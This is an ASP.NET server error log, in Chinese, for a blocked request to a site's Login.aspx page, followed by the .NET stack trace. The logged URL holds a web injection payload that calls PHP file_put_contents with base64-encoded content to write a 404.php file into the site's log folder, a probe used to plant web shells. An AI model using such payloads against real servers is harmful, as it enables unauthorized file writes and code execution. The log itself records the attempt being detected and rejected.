发生错误在Application_Error事件时被捕获： 错误路径：http://tongkaka.com/Login.aspx?a=fetch&templateFile=&prefix=&content=file_put_contents('./data/runtime/Logs/Portal/404.php',urldecode(urldecode(base64_decode("PHRpdGxlPmNlc2hpIDEyMzwvdGl0bGU+CgpPSw==")))) 错误信息：从客户端(content="file_put_conten...")中检测到有潜在危险的 Request.QueryString 值。堆栈追踪信息： 在 System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) 在 System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection) 在 System.Web.HttpRequest.get_QueryString() 在 System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) 在 System.Web.UI.Page.DeterminePostBackMode() 在 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) 在 System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) 在 System.Web.UI.Page.ProcessRequest() 在 System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) 在 System.Web.UI.Page.ProcessRequest(HttpContext context) 在 ASP.login_aspx.ProcessRequest(HttpContext context) 位置 c:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\root\91f1711c\6feea7fc\App_Web_login.aspx.cdcab7d2.ry9rc-ao.0.cs:行号 0 在 System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() 在 System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)